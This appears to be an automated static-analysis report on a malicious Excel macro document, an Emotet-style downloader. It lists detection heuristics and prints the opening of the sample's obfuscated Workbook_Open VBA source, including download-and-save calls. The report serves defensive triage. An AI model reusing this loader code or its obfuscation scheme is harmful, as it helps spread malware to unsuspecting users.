Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5fb67e5acde0432d…

MALICIOUS

Office (OLE)

567.5 KB Created: 2018-09-15 08:50:49 Authoring application: Microsoft Excel First seen: 2019-01-20
MD5: 8f35d7cd3c8025371bf8f4c4ecce73f3 SHA-1: 9abfb8a990ff54b0c6574011b590e1f97489465e SHA-256: 5fb67e5acde0432daae1dc7d155af745bb3b5c3933869f478d2e5a63ba60f931
338 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Excel file containing obfuscated VBA macros. The Workbook_Open macro is designed to download and execute a second-stage payload, as indicated by the 'OLE_VBA_HTTP_DROP_EXEC' and 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristics. The specific URL for the download is not directly visible due to obfuscation, but the presence of the 'macros.bas' artifact suggests the macro's intent.

Heuristics 10

  • ClamAV: Xls.Malware.Emodldr-10058834-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Emodldr-10058834-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        LwrjQ = JtAjz.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set JtAjz = CreateObject(SnYFI("MxW]iL.?cDt?r@p(oV wsuCXoxa fVOXtHXu.^KOX[-$Mk UL[A$HGY.T.I$TsV PLtU"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set JtAjz = CreateObject(SnYFI("MxW]iL.?cDt?r@p(oV wsuCXoxa fVOXtHXu.^KOX[-$Mk UL[A$HGY.T.I$TsV PLtU"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set zupIBrv = GetObject(gunolJVr)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        bFjarH = Environ(SnYFI("AihBlF)ClpHrUV nsj #eQCsrLx^syS Psa@r  So%dSfyy$iS_ lT Weq?p"))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 290330 bytes
SHA-256: b7b111a969e091edc957e52829ce2f49ba65c0be13e4379dfd7e1352f60914df
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1117 of 1814 identifiers look randomly generated (e.g. 'mIyimXguBxqKbCMhJcgl') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
    oMDgWsBSgl = 1891 - 270 - 1864
    FrBwEntDVxFz = 650 - 1095 - 1951
    wEOiymcSwCG = RTrim("v  XQj&K [MEp")
    wEOiymcSwCG = Right("w C%T d Z[ f#ASoX%", 5)
    FrBwEntDVxFz = LTrim(" a#jw EiGmh  ")
    VtIaSyBS = Left("a$IM   EUC w rT.$# j", 5)
    RdVzHXFOFdks = LTrim(" cnfA% ?F  xi?]kZ_R")
    KwATbmm = 507 + 1692 + 619
    While oCzHUx < 2
        While HnwnjW < 2
            oMDgWsBSgl = LTrim("$JmJI  x. fm")
            wEOiymcSwCG = RTrim("    hUO  [Mv W ")
            RdVzHXFOFdks = "oP Y    MoC   uVLQdI" + "E  LN])SVnp ]e?" + "  ILX  c   bapIE"
            FrBwEntDVxFz = "  rM A&f YRwQg" + "BDY&[pM d IYw pX" + "Ls  Id  !AT#"
            mxMHL = Right(" kZv WaOvNK(!!uL", 2)
            AjbzCRXCQFSH = RTrim("   &! l%DKTK]FP e ")
            VtIaSyBS = UCase("A )o GpU [@rv% ")
            AjbzCRXCQFSH = UCase("    qqCjp- tP ")
            HnwnjW = HnwnjW + 2
        Wend

        oMDgWsBSgl = "dHfM^ZA?o  )L" + " vXbjL^C    N t  ^e" + "HDl.[rUMio "
        VtIaSyBS = UCase("L^     XW zCN")
        AjbzCRXCQFSH = Left("TN^WR W o [iK R.", 2)
        KwATbmm = LTrim("&E(F  Tlk[mL[[IHA")
        JYilhKwpsDCE = 1689 - 992 - 1569
        oMDgWsBSgl = Left("E]Y  Z OQgf i [ ]cl", 4)
        oCzHUx = oCzHUx + 2
    Wend

    AjbzCRXCQFSH = 1757 + 1093 + 645
    FrBwEntDVxFz = Space(13)
    KwATbmm = UCase("NFhHysC zu !$$cMpH ")
    oMDgWsBSgl = Right("P F%  U WQ u #&qa k ", 3)
    KwATbmm = 1496 - 571 - 1134
    RdVzHXFOFdks = LTrim("%^Qoi@ EFRk[ BFd")
    mxMHL = Left("  (  z RfE^   r_", 2)
    mxMHL = UCase("AiNO $uI_yO_ KWnn")
    RdVzHXFOFdks = 1029 + 1932 + 1693
    JYilhKwpsDCE = "ivtc(KG VY$CUOKqX" + "cO m K    ]Ey m j[K" + "  dYdW!#W SE! eJH"
    mxMHL = Left("fnY]  h b k#W#L", 3)
    mxMHL = Space(12)
    VtIaSyBS = LTrim("(OlDT ZE!roTk^K#Kt#")
    IIJvzkWl = Space(5)
    wEOiymcSwCG = StrReverse("v gv^cA%bN")
    mxMHL = UCase("KY?_)j]pV Lv pLh A ")
    While aTMFAa < 2
        mxMHL = "[h Q h   dj D" + "cl rqZ  P?U^ " + " Eg sx ] CbUn Vsp"
        VtIaSyBS = RTrim("  n e IWboI[K!VZ^")
        RdVzHXFOFdks = UCase("cxH N sjS  X  ")
        AjbzCRXCQFSH = LTrim("hhXJN g#   zDM  ")
        AjbzCRXCQFSH = Space(15)
        mxMHL = UCase("Yd$Htu  isZyMlj #   ")
        aTMFAa = aTMFAa + 1
    Wend

    oMDgWsBSgl = Space(9)
    oMDgWsBSgl = Left("xEoPIzThKbgR (nJa@", 2)
    For kdKWex = 0 To 8
        JYilhKwpsDCE = "]td Si!z^SRqyP G]P" + " J. ID xrbKON$ zD" + "lJ f  bG  "
        VtIaSyBS = Right("Mcl%u-J Ii uFrq", 4)
        oMDgWsBSgl = 1488 - 1410 - 998
        mxMHL = UCase("j)HfiD s  IMb Gi")
        oMDgWsBSgl = UCase("aj I   q[ Eq$iUg W-B")
        AjbzCRXCQFSH = Left("i]sUR HXZy qz  PV", 5)
        KwATbmm = 1654 - 100 - 879
        IIJvzkWl = Right("Uqo  LjN(% C  UY", 5)
        wEOiymcSwCG = 1659 - 977 - 821
        RdVzHXFOFdks = Left("(I Oi@  wcnBBXEp", 5)
        wEOiymcSwCG = Left("O t yv cPg^VP  ", 4)
        VtIaSyBS = LTrim(" lZV   GnXr(t   l  X")
        RdVzHXFOFdks = Right("^ Qf][.g %%M rvVg!", 3)
        KwATbmm = Right("Zn-q ((   y", 2)
        oMDgWsBSgl = Left("v G N [x ]N TykB  ", 2)
        mxMHL = Left("n ?ik[  y X L ", 4)
        oMDgWsBSgl = 1019 + 457 + 1295
        KwATbmm = 1871 + 311 + 231
    Next kdKWex

    wEOiymcSwCG = Space(1)
TuOKcJg "dHkQtEhIBi", "FWBsGb", "nqkxXR", "OWqcXpblA", "acQOvmCM", "vwkuIYlYaO"
    bFjarH = Environ(SnYFI("AihBlF)ClpHrUV nsj #eQCsrLx^syS Psa@r  So%dSfyy$iS_ lT Weq?p"))
    mxMHL = Space(10)
    wEOiymcSwCG = Left("    _xZ !]Tw", 4)
    oMDgWsBSgl = StrReverse("lEtMyWE B)eq^Se d$")
    mxMHL = UCase("[S^(h WC ^  ")
    Dim thrtpzp As String
    KwATbmm = UCase("zz!ok!KJ JNg &)")
    While mRXkHi < 1
        While MTjHwV < 2
            wEOiymcSwCG = UCase("imQg&Arl I")
            AjbzCRXCQFSH = StrReverse("x la%XL mNmY")
            VtIaSyBS = StrReverse(" D IG?h Aao&i  Dj")
            oMDgWsBSgl = 931 - 1771 - 669
            VtIaSyBS = RTrim("(b    yz q.e")
            RdVzHXFOFdks = Right("$ )_RT )u&", 4)
            oMDgWsBSgl = Right(" HQ dnt #@l T#", 4)
            FrBwEntDVxFz = StrReverse("cwitM&f]$a#h- @T? B")
            JYilhKwpsDCE = " GhzYx ^zMT BH" + "L!ckzg@_liMHN" + "Ul]C(j  KsQwDwe"
            wEOiymcSwCG = Space(19)
            IIJvzkWl = 146 - 1227 - 1724
            AjbzCRXCQFSH = LTrim("TOuArDh x_TGtjkAv ")
            RdVzHXFOFdks = LTrim("M. &gXB !J(Kn ]CS!")
            mxMHL = UCase("?PhLop  t fhJ&]_p ")
            wEOiymcSwCG = 820 + 751 + 996
            wEOiymcSwCG = Space(1)
            MTjHwV = MTjHwV + 2
        Wend

        KwATbmm = Space(16)
        AjbzCRXCQFSH = UCase("tsv ?!& Ln  ")
        AjbzCRXCQFSH = UCase("NrujA# OQ_PbR")
        VtIaSyBS = Left("G]wyv   nuSiD ", 2)
        mxMHL = RTrim("j CrGlHY%H A pf)wT")
        mxMHL = StrReverse("x dE PL Gg- @V  x.")
        IIJvzkWl = RTrim(")SdT ^  c $[s&dS")
        JYilhKwpsDCE = Space(20)
        wEOiymcSwCG = LTrim(" fuY^y^FrVd$V-]u$Y(u")
        KwATbmm = 406 - 804 - 959
        VtIaSyBS = Left("N ] BTw n   y  B ? ", 2)
        JYilhKwpsDCE = 1621 - 1156 - 852
        wEOiymcSwCG = 1096 - 1650 - 1585
        oMDgWsBSgl = "T(Lmb c(WDO tW ^#JS" + "i! iSq F$  Ymc" + "hNOlc(e sL z@Zo"
        KwATbmm = Left("PyQQxtx h lhN", 2)
        VtIaSyBS = RTrim("FShH kS   ")
        mxMHL = "@G  SF  m  " + "fQ[Uqo aK ^TGfqBRx" + "_mRTmJrh pcaPq"
        IIJvzkWl = UCase("Sc %$Du-A@#my")
        FrBwEntDVxFz = "onmrw  #J ejAi to" + " n@ PtO  nh  " + "qI TZm^EKsi"
        mRXkHi = mRXkHi + 1
    Wend

    KwATbmm = RTrim("Blfv_ r z z]IWT ] P")
    For iEAbrr = 0 To 9
        JYilhKwpsDCE = StrReverse("exiZ(X I @F E$iwjkHf")
        JYilhKwpsDCE = 1942 - 901 - 388
        IIJvzkWl = LTrim("   U#py   tj(  y-  ")
        IIJvzkWl = 801 - 507 - 1145
        JYilhKwpsDCE = Left(" !   l%GOcWO  I#", 2)
        JYilhKwpsDCE = Left("#LoDS%WWJS %pk_G-", 2)
        JYilhKwpsDCE = LTrim("QV?kb[xfTNmr XuzK")
        RdVzHXFOFdks = StrReverse("V  S.DR[dt B)Ew)l .N")
        FrBwEntDVxFz = LTrim("g$f_l$$duhd ")
        mxMHL = RTrim("ZP&&  _Z]y")
        VtIaSyBS = Right("fL]hs  l  h  KO D", 5)
        mxMHL = UCase("  pOf^X d(yh lq@")
        mxMHL = 1730 - 1006 - 908
        JYilhKwpsDCE = Left("Jj WjcoFWFwV.]z!", 2)
        FrBwEntDVxFz = StrReverse("  O%-EA X JDMp ")
    Next iEAbrr

    AjbzCRXCQFSH = LTrim("P Oq tWR]dw  iyF  %")
    For ZsBHse = 0 To 9
        AjbzCRXCQFSH = UCase("^N$g YUUMoK")
        KwATbmm = Left("FI]PsOmgo  y", 5)
        VtIaSyBS = LTrim("  eIU h! U")
        FrBwEntDVxFz = UCase("  O)z @jWV  AFbTK")
        VtIaSyBS = "(Y m &.  vZmvExHYl " + " ( CFco  pz i@tYa" + " m_pda&NB[Ae E "
        mxMHL = Space(12)
        IIJvzkWl = "C. -p U^kDJFZB" + "FBe       a .z!q  " + "w tx  t p s  "
        FrBwEntDVxFz = RTrim("J a   brLB tQ")
    Next ZsBHse

    wEOiymcSwCG = LTrim("Ixy.Jzs-CgpMVud$ox")
    JYilhKwpsDCE = Left("ry [ e hw_ X", 5)
    thrtpzp = "F [yO"
    wEOiymcSwCG = LTrim("   mN( P i%R ")
    JYilhKwpsDCE = UCase("  M$[wUJHg gR$p vIIO")
    While GSjYVV < 3
        AjbzCRXCQFSH = 563 - 854 - 1071
        RdVzHXFOFdks = "CH YqN  !WSf" + "E (F?k_dG #qQ" + "K(c VQ@$dfQ VT%W"
        FrBwEntDVxFz = UCase("mqIM$a l) $t D(E ")
        JYilhKwpsDCE = StrReverse("[r? B w @ ")
        VtIaSyBS = "A_x  cJr?u " + "  E  EA le)" + " [fhJ Qq  w w  p"
        oMDgWsBSgl = Left("d !  VdNY.S", 3)
        GSjYVV = GSjYVV + 2
    Wend

    mxMHL = Space(13)
    IIJvzkWl = 475 + 1599 + 1283
    mxMHL = Left("Ub yGz oT -M", 3)
    wEOiymcSwCG = LTrim("J p  yDw E ")
    JYilhKwpsDCE = Space(15)
    thrtpzp = thrtpzp + "u LLZ"
    oMDgWsBSgl = UCase("-dN^.odPJl KF!V P")
    oMDgWsBSgl = 1401 - 840 - 1640
    mxMHL = Right("!&  k Q T@&^ gt", 2)
    For FVLnLC = 0 To 6
        wEOiymcSwCG = "y  ca_ZBSNGE  #m" + "e% R %^j& f$X" + "xp I&PCxy CEXq    "
        JYilhKwpsDCE = Left("pldE fC-B s  vI Za", 5)
        RdVzHXFOFdks = UCase("s!sY hyaek  ^lR")
        FrBwEntDVxFz = UCase(" CA qchhwpvZ K!I")
        oMDgWsBSgl = Left("BNh Q hfmN]_uH  ", 4)
        oMDgWsBSgl = LTrim("Uwd_o%JSW@I e")
        VtIaSyBS = RTrim("CgU?B?]homB[cJhzdLQ ")
        KwATbmm = Space(8)
        IIJvzkWl = RTrim("W@zSPiu$%q)?L!fqk #")
        oMDgWsBSgl = UCase(" Jdij&Gs d% w d YS  ")
        JYilhKwpsDCE = 778 + 1568 + 1402
        KwATbmm = StrReverse("yH  dQmxi ")
        oMDgWsBSgl = 1047 - 265 - 1979
        KwATbmm = 1288 + 1556 + 402
        VtIaSyBS = StrReverse("aI zB an ] bi$")
        AjbzCRXCQFSH = RTrim(" lP L fe)k .")
        RdVzHXFOFdks = "wUB_itN B[" + "GE  #EiPYiF" + "^dBgHRho qm?Z J"
        FrBwEntDVxFz = LTrim("SoK?(TxqPrCbm")
    Next FVLnLC

    For DGkbbd = 0 To 9
        IIJvzkWl = 1576 - 1636 - 149
        KwATbmm = StrReverse("g cvL BziAZ l")
        oMDgWsBSgl = 144 + 778 + 1678
        AjbzCRXCQFSH = Left("t [nl .pPi$?lWDr", 3)
        wEOiymcSwCG = UCase("$e$a  uI] JerF@  ")
        JYilhKwpsDCE = StrReverse("-a h. hi Omv[ .")
        FrBwEntDVxFz = "h? wV r-[p.pwHcJP yv" + " O P$Wm NJ" + "_ C  Sr SLH X_?z^G"
        oMDgWsBSgl = LTrim("Xl ]#yrb S-OR  ")
        mxMHL = Left(" O IuBaY eA Ft d", 3)
        VtIaSyBS = "M C?T&vZ (" + "#w HcbfAcC!" + "] lq  B  a$NEDZ "
        KwATbmm = 157 + 312 + 740
        RdVzHXFOFdks = StrReverse("Vdo?UTh#- I g   w.")
        JYilhKwpsDCE = " aCca KGuA" + "K?q]ai]x  !" + "$xxEazc [  uy r"
        oMDgWsBSgl = RTrim("Mu rtz uFf cT")
        FrBwEntDVxFz = RTrim("q  oyvjTMw fFFuye")
        FrBwEntDVxFz = Space(14)
    Next DGkbbd

    FrBwEntDVxFz = StrReverse("Nsy rqD$Z !Wk[X")
    mxMHL = RTrim(" ?]L Nh. ]V")
    thrtpzp = thrtpzp + "uRD ."
    JYilhKwpsDCE = 1083 + 500 + 420
    VtIaSyBS = Space(1)
    mxMHL = LTrim(" (n? ^. HNo&")
    VtIaSyBS = RTrim("![_C[q HIJlQ")
    mxMHL = 812 + 1051 + 1261
    AjbzCRXCQFSH = 1388 + 804 + 1150
    FrBwEntDVxFz = RTrim(" KcW!%  # @")
    FrBwEntDVxFz = RTrim(")xZ&xKM #  .Ez@N")
    KwATbmm = Right(" v  sgE rK &Cy", 5)
    thrtpzp = thrtpzp + "ZEh G"
    VtIaSyBS = 801 - 1336 - 1389
    JYilhKwpsDCE = 193 + 1597 + 497
    JYilhKwpsDCE = " s tp%%P]f -" + "C  ]mONKj_N@ " + "  .L c K[ #!.fjr&  Z"
    RdVzHXFOFdks = Right("!p P#e^-S  jlG", 3)
    For JnyPsN = 0 To 2
        For fEPLHP = 0 To 6
            mxMHL = 1103 + 1663 + 1676
            JYilhKwpsDCE = Left("M(]l  u_vS (Iv", 4)
            oMDgWsBSgl = LTrim("F(pP ( OND  $e")
            FrBwEntDVxFz = Space(8)
            JYilhKwpsDCE = Right(" cO J QW i s#]YF O", 3)
            KwATbmm = Space(20)
            FrBwEntDVxFz = Right("]-WUqz.p o v ", 5)
            AjbzCRXCQFSH = Left("H!$.cF  Q B", 4)
            wEOiymcSwCG = UCase("sn Y  %j_tHz")
            FrBwEntDVxFz = LTrim("YmV xUo)bm ")
            KwATbmm = "m(NgT X  _K&y Q@ " + "    Mg!dL z" + "# K[iTbd  % "
            FrBwEntDVxFz = Space(5)
            wEOiymcSwCG = StrReverse(" j c HLK(qQ")
            AjbzCRXCQFSH = UCase("p cIhyfh . v!M   H ")
            VtIaSyBS = UCase("[n  V  @ a  tV CjW")
        Next fEPLHP

        VtIaSyBS = StrReverse("a    )%(YcPF ")
        mxMHL = 1888 - 1380 - 506
        VtIaSyBS = LTrim("p[JHRo HvbRR M")
        AjbzCRXCQFSH = Right("%rGslxJZIwO ", 5)
        JYilhKwpsDCE = Left("mhuCg#  Kwq F", 5)
        wEOiymcSwCG = Left("N_t L p^v  dw", 5)
        AjbzCRXCQFSH = Left("_ F^KTv fskodGkc ", 3)
        KwATbmm = Space(1)
        FrBwEntDVxFz = StrReverse("] w#b$ae! BDTW_Q D.F")
        VtIaSyBS = UCase(" ][H Vrg#wdvbuw URm ")
        oMDgWsBSgl = Space(17)
        JYilhKwpsDCE = Space(13)
        KwATbmm = "  Dz MwsFqeE  Cf" + " O qhXb] G V_ ^ QSq" + "AiPBsUnlg)sKse@G yQ "
        IIJvzkWl = "    RLFwBnO^BFGHV" + "RnF!E rmzcKu D" + "D(az^rqJy( "
        IIJvzkWl = StrReverse("u^hZgkwsVYr")
        VtIaSyBS = Space(8)
    Next JnyPsN

    thrtpzp = thrtpzp + "Rz _\"
    KwATbmm = RTrim("Y ?u W  V] ")
    AjbzCRXCQFSH = RTrim("Hv LZ bh .GvMZ!z(s")
    IIJvzkWl = LTrim(".p@   cGYn YyUL?")
    For ALwOiC = 0 To 9
        wEOiymcSwCG = 1675 + 957 + 1030
        FrBwEntDVxFz = Space(13)
        AjbzCRXCQFSH = 450 - 1656 - 1271
        KwATbmm = StrReverse(" GbJ h S%oK")
        AjbzCRXCQFSH = Right("UF%. D$v) r_", 5)
    Next ALwOiC

    oMDgWsBSgl = RTrim("[j Rcn&% Ab  G.AQ[ h")
    KwATbmm = RTrim("&aI.S ]  ]n] (h.&")
    wEOiymcSwCG = Space(17)
    oMDgWsBSgl = StrReverse("x((bD X%iL$ cQz")
    thrtpzp = thrtpzp + "%)QXB"
    AjbzCRXCQFSH = Space(11)
    While wOgRyf < 2
        For rGSvtQ = 0 To 9
            RdVzHXFOFdks = Right("A %nj RR .% ", 5)
            VtIaSyBS = Right(".pfqY   qk    L", 5)
            wEOiymcSwCG = LTrim("M]  j_l  Rj")
            AjbzCRXCQFSH = StrReverse("TsxRn x  d@jfF?aY")
            oMDgWsBSgl = RTrim("R ll   VlCGM-#z")
        Next rGSvtQ

        mxMHL = LTrim("  ] ? TqyJt MqWOeQ")
        FrBwEntDVxFz = Left("gLBq V Ng Y?", 5)
        RdVzHXFOFdks = "B#Ps  )S^Z BP HJ" + "fPC NE s-n" + "Z RNr  ]G LjKV_M %y"
        IIJvzkWl = StrReverse("f[VM FyTqFtiK")
        KwATbmm = 1547 - 1420 - 1003
        wOgRyf = wOgRyf + 3
    Wend

    AjbzCRXCQFSH = Space(11)
    For kOoyUD = 0 To 6
        FrBwEntDVxFz = RTrim(" fw  r)SsPi?XnwW h")
        wEOiymcSwCG = Left("%)OI  DDJ T xl", 2)
        VtIaSyBS = UCase("n  UK_ SYs")
        mxMHL = 1753 + 1238 + 849
        wEOiymcSwCG = UCase("i L H  ^RX r")
        RdVzHXFOFdks = StrReverse(" b zcEpLk PQ lxkS$")
        wEOiymcSwCG = Right("rYhmPLIM  m dAd", 4)
        RdVzHXFOFdks = Right("&p& i-_T?l v & ", 5)
        oMDgWsBSgl = Right("@ EYb  ]vaeoq", 4)
        mxMHL = "r x #vaw c^b ?FrEg" + "DU   kAAqgj " + " (Fx  ai yQKu"
        AjbzCRXCQFSH = RTrim(" .% # aW ?TQb qd [")
        IIJvzkWl = "lb HPne VQZkm  #" + "R d!ygYnJ WYDwik  u" + "rflV  #AlX"
        mxMHL = 556 - 951 - 927
        FrBwEntDVxFz = LTrim("bTO?tW (@ C@r")
        KwATbmm = Space(18)
        wEOiymcSwCG = 1954 - 371 - 1341
        JYilhKwpsDCE = 1972 + 593 + 913
    Next kOoyUD

    AjbzCRXCQFSH = LTrim("tZ (F  v fz u")
    JYilhKwpsDCE = 1841 - 677 - 1072
    FrBwEntDVxFz = RTrim("  eC ]Lmac @ wME ")
    KwATbmm = Right("F S[ dld f[K VHQkah", 3)
    VtIaSyBS = Right("B l iGEZ  I? bn V", 2)
    thrtpzp = thrtpzp + "dGQk "
    mxMHL = RTrim("E Pz  BkD)x@Pt@k")
    oMDgWsBSgl = RTrim("u LhYum- @ NI  ?")
    KwATbmm = Right("$ h @f E& WBvy", 5)
    wEOiymcSwCG = StrReverse("  zP  V(O )  SiBx&ee")
    wEOiymcSwCG = "!e v P   Ey le s " + "igD[  ghr s" + "zd[jp q rAxnFctD "
    VtIaSyBS = Right("mF  FT jPK_KpJJHA", 5)
    VtIaSyBS = Left("%D   KRMjOE", 5)
    KwATbmm = RTrim("f]&T VhGYmfP!")
    While yObBOm < 4
        For eeYRFT = 0 To 6
            IIJvzkWl = LTrim(" b J b.XN   h ]")
            wEOiymcSwCG = RTrim("b. L yN A #mWc ] X")
            JYilhKwpsDCE = UCase("x  .t@v FgF zd")
            mxMHL = " z  !U JcN  H" + "].^Gt  MJ^EJ" + " b $lb y jpZ) &"
            KwATbmm = UCase("tZVkgC#  [ Q j# A   ")
        Next eeYRFT

        KwATbmm = RTrim("x b   R EHPK rD(a ")
        AjbzCRXCQFSH = StrReverse(" kJOnO%h Z% AM   (#")
        AjbzCRXCQFSH = 1709 - 1366 - 850
        RdVzHXFOFdks = 789 - 1174 - 1128
        FrBwEntDVxFz = UCase("c KOH  lFz")
        RdVzHXFOFdks = 1881 + 414 + 1887
        KwATbmm = 1937 - 256 - 382
        KwATbmm = "  XUIFX  #L$ c" + " rVMzwJF&lq   vTz" + "Fe^jx   eX"
        RdVzHXFOFdks = "lu@owkQ uLx Q c" + "a Z _ wesJ?ID" + "ii  WMfjom(oCq% H"
        VtIaSyBS = RTrim("z  C Z I _thXF^ E")
        KwATbmm = Left("iJu ^$KQs)YY  R ", 4)
        wEOiymcSwCG = Space(3)
        RdVzHXFOFdks = Right("e h.# vo   j[.n-$da", 5)
        FrBwEntDVxFz = StrReverse("McJw$)jN)Zz b &. ")
        RdVzHXFOFdks = Space(4)
        yObBOm = yObBOm + 2
    Wend

    oMDgWsBSgl = " [ AqI&yeL xrE " + "r #Q(Y Zw W GTe" + " t US^%  Ja T HmPX"
    thrtpzp = thrtpzp + " qXJx"
    FrBwEntDVxFz = 1531 - 1166 - 644
    oMDgWsBSgl = LTrim("I_GiM gOQ%KAR( M  ")
    While atKwxr < 5
        JYilhKwpsDCE = UCase("? GR mJvFR $$K A")
        AjbzCRXCQFSH = LTrim("Ll ISlhF YnM ?_T t")
        JYilhKwpsDCE = RTrim("_nwj ytf#%qLSmMih?CD")
        VtIaSyBS = UCase("  ](s%  v!N oL# ")
        wEOiymcSwCG = RTrim("N JnB$kr BB bX[%")
        IIJvzkWl = LTrim("sn#DuWV  C$t")
        FrBwEntDVxFz = 878 + 395 + 104
        KwATbmm = 1063 - 959 - 1440
        IIJvzkWl = 712 - 218 - 594
        IIJvzkWl = 1445 + 1488 + 838
        IIJvzkWl = Left("[    %q Km", 4)
        KwATbmm = "cQWsSH giOD% K$gW" + "@r iG)) Z  m " + " t)%lbkRWf xJ"
        wEOiymcSwCG = StrReverse("Y b@  u) wN jp X ")
        VtIaSyBS = Right(" $   fb! u", 3)
        wEOiymcSwCG = Space(5)
        VtIaSyBS = Space(3)
        RdVzHXFOFdks = 1875 - 1026 - 346
        wEOiymcSwCG = LTrim("q)G HQ  E DbA  HCD")
        RdVzHXFOFdks = 698 - 1215 - 238
        AjbzCRXCQFSH = 734 - 623 - 780
        atKwxr = atKwxr + 2
    Wend

    FrBwEntDVxFz = 583 + 1459 + 1914
    mxMHL = LTrim(" -  OFMty  S")
    For Aboklk = 0 To 7
        oMDgWsBSgl = 737 - 1262 - 784
        AjbzCRXCQFSH = " X  l_F  CpYrd" + "v Q  %ezJgLBVB EHNt" + "F S? pP JPj_slC"
        IIJvzkWl = 1175 - 262 - 513
        oMDgWsBSgl = 323 + 108 + 718
        RdVzHXFOFdks = 761 + 1120 + 791
        VtIaSyBS = LTrim(" !EwoF-T#d C ")
        AjbzCRXCQFSH = Space(16)
        KwATbmm = LTrim("OO E]& wwB[Qw?_")
        IIJvzkWl = 1276 - 1065 - 1395
        RdVzHXFOFdks = RTrim("AhA Ei K ckT JL    @")
        RdVzHXFOFdks = 1799 - 750 - 1818
        mxMHL = LTrim("cS  @(I  CBhh%IN[o_")
        wEOiymcSwCG = Space(8)
        JYilhKwpsDCE = 414 + 1817 + 768
        mxMHL = UCase("ivN Hn? !?f ?Kco ")
        AjbzCRXCQFSH = 1798 + 1229 + 1921
        JYilhKwpsDCE = "  Z]tB q   m " + "R)uAUt q@ M" + " bc$I [MW "
        AjbzCRXCQFSH = "s?qVNKs zk DQwj" + "m S  mX GH  j  @&to" + "IsZi    LE ZDe d "
        RdVzHXFOFdks = Right("$ i]Iym Mm P", 3)
    Next Aboklk

    thrtpzp = thrtpzp + "Ddr.D"
    wEOiymcSwCG = 1659 + 1467 + 273
    mxMHL = 1509 + 791 + 1135
    RdVzHXFOFdks = RTrim("cE$ I^Rz%e om[_Zho")
    mxMHL = StrReverse("s  eyHQ hqhYb")
    mxMHL = RTrim("!  zvbrwoU^n n  ")
    While XFqDdE < 2
        FrBwEntDVxFz = 1276 + 219 + 195
        AjbzCRXCQFSH = StrReverse(" VC%yN(Q x@")
        oMDgWsBSgl = StrReverse("cgb  ) #H .bh")
        RdVzHXFOFdks = " Cf h_##$B" + "Gn[AP ^  UkBUMZl&" + "p o-@x&DS-ZSVx Cy"
        IIJvzkWl = Left("% j & boQC Ieat", 2)
        wEOiymcSwCG = StrReverse("L)aI  ^j!d")
        wEOiymcSwCG = UCase("^AL ZSpc (u zjB mW")
        IIJvzkWl = LTrim("S_CxfZEuVVF%XKlI")
        oMDgWsBSgl = ")Xa@ MU%MoDjgz% " + "N_@LUVg^ n " + " ._ il   UUg F-R y%"
        XFqDdE = XFqDdE + 2
    Wend

    oMDgWsBSgl = Space(6)
    JYilhKwpsDCE = RTrim(" iLMVP  AaU-o")
    While iCGKyC < 3
        While gKCArQ < 2
            oMDgWsBSgl = Left(" oD@SlQwur  iiEgA", 2)
            IIJvzkWl = Right("G&? dLz !%hMe", 5)
            FrBwEntDVxFz = UCase("^Klf&x wmADT^Mw ")
            VtIaSyBS = Space(6)
            wEOiymcSwCG = Right("Vb].KYP  tlH", 2)
            AjbzCRXCQFSH = Right("N.ojrE@$&rJ", 3)
            oMDgWsBSgl = 1726 - 1492 - 1112
            gKCArQ = gKCArQ + 3
        Wend

        oMDgWsBSgl = RTrim(" A  [sTkDSFe)[hg%o")
        IIJvzkWl = StrReverse("gnfH   q!   ZWU(b ")
        oMDgWsBSgl = Right("$ $Ucu#cH   ", 4)
        AjbzCRXCQFSH = Space(15)
        wEOiymcSwCG = Space(16)
        mxMHL = 952 + 1112 + 1005
        JYilhKwpsDCE = Space(5)
        oMDgWsBSgl = 705 + 1373 + 1293
        oMDgWsBSgl = 1017 + 612 + 1819
        AjbzCRXCQFSH = Space(18)
        mxMHL = 1554 - 1374 - 412
        wEOiymcSwCG = Left(" @v %a km?K F$", 2)
        VtIaSyBS = Left("Y%# cr h]r pm", 3)
        mxMHL = StrReverse("ASnzmE  jRjGu] ^  t")
        wEOiymcSwCG = 642 - 1055 - 553
        FrBwEntDVxFz = 1845 + 1749 + 829
        IIJvzkWl = 1563 - 712 - 454
        KwATbmm = Space(17)
        KwATbmm = 1032 + 1158 + 536
        iCGKyC = iCGKyC + 3
    Wend

